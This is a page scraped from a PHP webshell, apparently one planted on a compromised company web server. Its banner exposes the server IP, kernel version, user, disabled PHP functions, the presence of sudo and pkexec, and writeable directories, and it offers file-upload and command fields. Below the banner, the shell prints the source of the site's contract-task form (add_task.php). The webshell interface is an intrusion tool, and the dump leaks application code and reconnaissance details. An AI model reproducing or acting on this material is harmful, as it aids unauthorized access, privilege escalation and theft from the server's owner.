403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesupportdemo.onesolution.hk/contract/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesupportdemo.onesolution.hk/contract/add_task.php
<?php
	require_once('../inc/configure.php');

$sql = "SELECT column_name FROM information_schema.columns WHERE table_schema = (SELECT DATABASE()) AND table_name = ?";
$parameters = array('sup_contract_detail');
if (!($sth = $dbh->prepare($sql))) {
	throw new Exception("sql prepare statement failure: $sql");
}
$sth->setFetchMode(PDO::FETCH_ASSOC);
if (!$sth->execute($parameters)) {
	throw new Exception("sql execute statement failure: $sql");
}
$columns = $sth->fetchAll();

$defaultJobDetail = array();
foreach ($columns as $column) {
	$column = $column['column_name'];
	$defaultJobDetail[$column] = null;
}

if(!empty($_GET["id"])){
	$sql = "SELECT * FROM sup_contract where contract_id='".(int)$_GET["id"]."'";
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception("sql prepare statement failure: $sql");
	}
	$sth->setFetchMode(PDO::FETCH_ASSOC);
	if (!$sth->execute()) {
		throw new Exception("sql execute statement failure: $sql");
	}
	$contract = $sth->fetch(PDO::FETCH_ASSOC);

}


$sql5 = "select * from sup_task_category where deleted = 0 order by sort ASC";
if (!($sth5 = $dbh->prepare($sql5))) {
	throw new Exception("sql prepare statement failure: $sql5");
}

if (!$sth5->execute()) {
	throw new Exception("sql execute statement failure: $sql5");
}
$task_categories = $sth5->fetchAll();

$task_categories_select_html = '<br>Task Category: <br><select name="task_category_id[]" class="span2">';

foreach($task_categories as $key => $task_category){

	$task_categories_select_html.='<option value="'.$task_category["task_category_id"].'">'.$task_category["category_name"].'</option>';

}

$task_categories_select_html.='</select><br>';

$sql = "SELECT * FROM v_cm_customer_support V_CM_CUSTOMER_SUPPORT ORDER BY company_name";
if (!($sth = $dbh->prepare($sql))) {
	throw new Exception("sql prepare statement failure: $sql");
}
$sth->setFetchMode(PDO::FETCH_ASSOC);
if (!$sth->execute()) {
	throw new Exception("sql execute statement failure: $sql");
}
$customers = $sth->fetchAll();
?><!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"
      xmlns:ng="http://angularjs.org">
<head>

<?php require(__DIR__ . '/../inc/_head_meta.php'); ?>

<?php require(__DIR__ . '/../inc/_head_css.php'); ?>

<style type="text/css">
	body {
		padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
		padding-bottom: 40px;
	}

	.input_callnum{
		width:30px;
		margin-top: 5px;
	}
</style>

<?php require(__DIR__ . '/../inc/_head_script.php'); ?>

<script type="text/javascript">
	function JobDetailControl($scope) {
		function resetModel() {
			$.extend($scope, <?=json_encode($defaultJobDetail)?>);
		}

		resetModel();
		$.extend($scope, {
			addDetail: function() {
				$scope.details.push({
					<?php
					// Example: title: $scope.title, remarks: $scope.remarks...
					$tmp_values = array();
					foreach ($defaultJobDetail as $key => $value) {
						$tmp_values[] = $key.': $scope.'.$key;
					}
					echo implode(', ', $tmp_values);
					?>
				});
				resetModel();
			},
			removeDetail: function(index) {
				var detail = $scope.details[index];
				if (!detail.id) {
					$scope.details.splice(index, 1);
				}
			},
			details: [ <?=isset($json_details) ? implode(', ', $json_details) : ''?> ]
		});
	}

	function scrollToId(id) {
		var $root = $('html, body'),
			$body = $('body'),
			$e = $('#'+id);
		var paddingTop = $body.css('padding-top');
		paddingTop = parseInt(paddingTop, 10);
		paddingTop = isNaN(paddingTop) ? 0 : paddingTop;
		$root.animate({
			scrollTop: $e.offset().top - paddingTop
		}, 500);
	}



</script>

<script type="text/javascript">
	$(function() {
		var addDiv = $('#addmoretask');
		var i = $('#addmoretask #task_container').size() + 1;
		$('#addNew').live('click', function() {

			$('<div id="task_container"><div class="controls" id="monthly_task_'+i+'"><b>New Task</b><?=$task_categories_select_html?>Title: <br><input type="text" name="task_title[]" class="span3" /><br>Remark:  <br><textarea name="task_remarks[]" class="span3" style="height: 80px;"></textarea><br><a href="#" id="remNew" class="btn" style="margin:10px 0 10px 0;"> -Delete </a></div>').appendTo(addDiv);


			i++;

			return false;
		});

		$('#remNew').live('click', function() {
			if( i > 1 ) {
				$(this).parents('#task_container').remove();
				i--;
			}

			return false;
		});
	});



</script>



<script>

	function getSelectedChbox(frm) {
		// JavaScript & jQuery Course - http://coursesweb.net/javascript/
		var selchbox = [];        // array that will store the value of selected checkboxes

		// gets all the input tags in frm, and their number
		var inpfields = frm.getElementsByTagName('input');
		var nr_inpfields = inpfields.length;

		// traverse the inpfields elements, and adds the value of selected (checked) checkbox in selchbox
		for(var i=0; i<nr_inpfields; i++) {
			if(inpfields[i].type == 'checkbox' && inpfields[i].checked == true) selchbox.push(inpfields[i].value);
		}

		return selchbox;
	}


	function generate_task_period() {

		if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari
			xmlhttp = new XMLHttpRequest();
		}
		else {// code for IE6, IE5
			xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		}
		xmlhttp.onreadystatechange = function () {
			if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
				document.getElementById("date_list").innerHTML = xmlhttp.responseText;
				$('.date-picker').datetimepicker({ pickTime: false });
			}
		}

		var date_from = document.getElementById("date_from").value;
		var date_to = document.getElementById("date_to").value;
		var period = document.getElementById("period").value;
		var frequency = document.getElementById("frequency").value;

		if(date_from == "" || date_to == "" || period == "" || frequency == ""){
			alert("Date From / Date To / Period / Frequency should not be empty!");
			return;
		}

		var customer_id = document.getElementById("customer_id").value;

		xmlhttp.open("GET", "views/generate_task_period.php?date_from=" + date_from + "&date_to=" + date_to+ "&period=" + period+ "&frequency=" + frequency+"&customer_id=" + customer_id, true);
		xmlhttp.send();
	}
</script>



<script type="text/javascript">

	function do_this() {

		//var checkboxes = document.getElementsByName('selected_week[]');

		var button = document.getElementById('toggle');

		if (button.value == 'All') {
			$(".checkall").attr('checked', true);
			button.value = 'Clear'
		} else {
			$(".checkall").attr('checked', false);
			button.value = 'All';
		}
	}

	function available_date() {

		//var checkboxes = document.getElementsByName('arraynum[]');

		var button2 = document.getElementById('toggle2');

		if (button2.value == 'All') {
			$(".checkall2").attr('checked', true);
			button2.value = 'Clear'
		} else {
			$(".checkall2").attr('checked', false);
			button2.value = 'All';
		}
	}


</script>

	<style>
		.monthly{
			display: block;
		}
	</style>
</head>
<body>

<?php require( __DIR__ . '/../inc/_navbar.php'); ?>

<div class="container">

<?php if (isset($message) && !empty($message)): ?>
	<div class="alert alert-info">
		<button type="button" class="close" data-dismiss="alert">&times;</button>
		<h5 class="alert-heading">Note:</h5>
		<p><?=$message?></p>
	</div>
<?php endif; ?>



<h2 id="goto_top">Edit Contract: #<?=h($contract['contract_id'])?></h2>



<form id="form" class="form-horizontal" method="post" action="add_task_post.php">

<div class="form-horizontal">
<?php $attribute = 'contract_id'; ?>
<input type="hidden" name="<?=$attribute?>" value="<?=h($contract[$attribute])?>" />
<div class="control-group">
	<?php $attribute = 'customer_id'; $label = 'Customer'; ?>
	<input type="hidden" name="<?=$attribute?>" value="<?=h($contract[$attribute])?>" />
	<label class="control-label" for="<?=$attribute?>"><?=$label?></label>
	<div class="controls">
		<select id="<?=$attribute?>" name="<?=$attribute?>" placeholder="Select a <?=$label?>" class="required select2"<?=$allow_edit_mode ? '' : ' disabled="disabled"'?>>
			<option value=""></option>
			<?php foreach ($customers as $customer): ?>
				<option value="<?=h($customer['cust_id'])?>"<?=$customer['cust_id'] == $contract[$attribute] ? ' selected="selected"' : ''?>><?=$customer['enable'] == 1 ? '' : '[Disabled] '?><?=h($customer['company_name'])?></option>
			<?php endforeach; ?>
		</select>
	</div>
</div>


<div class="control-group">
	<?php $attribute = 'date_from';
		$label = 'Contract From'; ?>
	<label class="control-label" for="<?= $attribute ?>"><?= $label ?></label>

	<div class="controls">
		<div class="input-append date-picker">
			<input type="text" id="<?= $attribute ?>" name="<?= $attribute ?>" value="<?= h(Util::value_to_date_string($contract["contract_from"])) ?>" class="required dateISO" data-format="yyyy-MM-dd" placeholder="<?= $label ?>"<?= $allow_edit_mode ? '' : ' disabled="disabled"' ?> />
			<?php if ($allow_edit_mode): ?>
				<span class="add-on">
							<i data-time-icon="icon-time" data-date-icon="icon-calendar"></i>
						</span>
			<?php endif; ?>
		</div>
	</div>
</div>

<div class="control-group">
	<?php $attribute = 'date_to';
		$label = 'Contract To'; ?>
	<label class="control-label" for="<?= $attribute ?>"><?= $label ?></label>

	<div class="controls">
		<div class="input-append date-picker">
			<input type="text" id="<?= $attribute ?>" name="<?= $attribute ?>" value="<?= h(Util::value_to_date_string($contract["contract_to"])) ?>" class="required dateISO" data-format="yyyy-MM-dd" placeholder="<?= $label ?>"<?= $allow_edit_mode ? '' : ' disabled="disabled"' ?> />
			<?php if ($allow_edit_mode): ?>
				<span class="add-on">
							<i data-time-icon="icon-time" data-date-icon="icon-calendar"></i>
						</span>
			<?php endif; ?>
		</div>
	</div>
</div>


<div class="control-group">
	<?php $attribute = 'contract_type'; $label = 'Contract Type'; ?>
	<label class="control-label"><?=$label?></label>
	<div class="controls" <?php if(!empty($contract["contract_id"])) echo "style='padding-top:5px;'"; ?>>
		Monthly
	</div>
</div>




	<div class="control-group monthly">
		<?php
			$attribute = 'period'; $label = 'Period';
			$activeperiod = array();
			$activeperiod = Job::activeperiod();
		?>
		<label class="control-label" for="<?= $attribute ?>"><?= $label ?></label>

		<div class="controls">
			<select id="<?= $attribute ?>" name="<?= $attribute ?>" class="required" onchange="divdisplay(this.value);">
				<option value="">Please Select One</option>
				<?php
					foreach ($activeperiod as $key => $option):
						if($key != "1"){
							?>
							<option value="<?= $key ?>" ><?= $option ?></option>
						<?php } endforeach; ?>
			</select>
		</div>
	</div>

	<div class="control-group monthly">
		<?php
			$attribute = 'frequency'; $label = 'Frequency';
		?>
		<label class="control-label" for="<?= $attribute ?>"><?= $label ?></label>

		<div class="controls">
			<select id="<?= $attribute ?>" name="<?= $attribute ?>" class="required" >
				<option value="">Please Select One</option>
				<?php for($i=1; $i<=10; $i++){?>
					<option value="<?= $i ?>"><?= $i ?></option>
				<?php } ?>
			</select>
			<br>

			<div id="weekmonth_generator" onclick="generate_task_period();" class="btn" style="margin-top: 10px;">Generate Date</div>

		</div>
	</div>



	<div class="control-group monthly">
		<label class="control-label">Scheduled Tasks</label>

		<div class="controls" id="date_list">

		</div>
	</div>





<div class="control-group" id="div_monthly_task">
	<?php $attribute = 'monthly_task'; $label = 'Contract Task'; ?>


	<label class="control-label"><?=$label?><br><div id="addNew" class="btn" style="margin: 10px 0 10px 0;"> +Add </div></label>


	<div id="addmoretask">

			<div id="task_container">
				<div class="controls">

					Task Category: <br>
					<select name="task_category_id[]" class="span2">


						<?php foreach($task_categories as $key => $task_category){ ?>

							<option value="<?=$task_category["task_category_id"]?>" <?php if($task["task_category_id"] == $task_category["task_category_id"]) echo "selected"; ?>><?=$task_category["category_name"]?></option>

						<?php } ?>
					</select>
					<br>

					Title: <br><input type="text" name="task_title[]" class="span3" /><br>
					Remark:  <br><textarea name="task_remarks[]" class="span3" style="height: 80px;"></textarea>

				</div>
			</div>



	</div>

</div>



<?php if($contract["status"] == 1){ ?>
	<div class="control-group">
		<div class="controls">
			<button type="submit" class="btn btn-primary">Save</button>
			<button type="reset" class="btn" onclick="location.reload();">Reset</button>
		</div>
	</div>
<?php } ?>

</div>
</form>

<script type="text/javascript">
	$(function() {
		$('#actual_start_time, #actual_end_time, #start_time, #end_time, #call_time, .time').change(function(event) {
			var $this = $(this),
				val = $this.val();
			if (val && val.length && val.length == 4) {
				var number = parseInt(val, 10);
				if (!isNaN(number)) {
					$this.val([val.slice(0, 2), ':', val.slice(2)].join(''));
					event.preventDefault();
					$this.trigger('change');
				}
			}
		});

		<?php if ($contract['status'] == 1): // open ?>
		$('.date-picker').datetimepicker({ pickTime: false });
		$('.time-picker').datetimepicker({ pickDate: false, pickSeconds: false });
		<?php else: ?>
		var $form = $('#form');
		$('input, textarea, select', $form).prop('disabled', true);
		<?php endif; ?>
		$('.select2').select2();
		<?php if ($contract['status'] == 1 && !Util::isAdmin() && $allow_edit_mode): ?>
		$('#staff_id').select2('readonly', true);
		$('#staff_id').select2('enable', true);
		<?php endif; ?>
		$('#form').validate();
	});

	function divdisplay(period){
		if(period == 1){    //daily
			$("#_week").hide();
			$("#_start_time").show();
			$("#_end_time").show();
			$("#daily_generator").show();
			$("#weekmonth_generator").hide();

		}else if(period == 2 || period == 3){  //weekly or monthly
			$("#_week").show();
			$("#_start_time").hide();
			$("#_end_time").hide();
			$("#weekmonth_generator").show();
			$("#daily_generator").hide();



		}else{}
	}
</script>


<?php require( __DIR__ . '/../inc/_footer.php'); ?>

</div> <!-- /container -->
</body>
</html>

<?php unset($_SESSION["clash_contract_array"]); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit